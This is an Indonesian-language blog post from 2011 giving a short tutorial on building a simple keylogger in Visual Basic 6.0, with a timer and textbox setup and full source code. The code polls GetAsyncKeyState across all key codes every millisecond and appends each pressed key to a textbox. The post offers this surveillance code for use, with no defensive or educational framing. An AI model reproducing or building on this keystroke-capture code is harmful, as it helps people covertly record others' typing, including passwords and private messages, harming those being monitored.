Friday, May 20, 2011

CARA MEMBUAT SIMPLE KEYLOGGER VB 6.0

Cara membuat keylogger itu cukup sederhana.. (yang simple)
Bahan :
Visual Basic (Portable Boleh..)
1 buah Timer
1 buah Text box

caranya :
susun aja sesuai dengan keinginan anda semua....
1. Pas dah selesai ganti timer interval jadi 1
2. Didalam TextBoxnya (textnya) kosongin..
3. nahh..... klik kanan pada form > view code masukkan kode berikut
 Dim result As Integer

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Private Sub Timer1_Timer()

For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)

If result = -32767 Then
Text1.Text = Text1.Text + Chr(i)
End if
Next i
End Sub

Dan selesai.. ENJOY..!!
Read More

Powered by Blogger.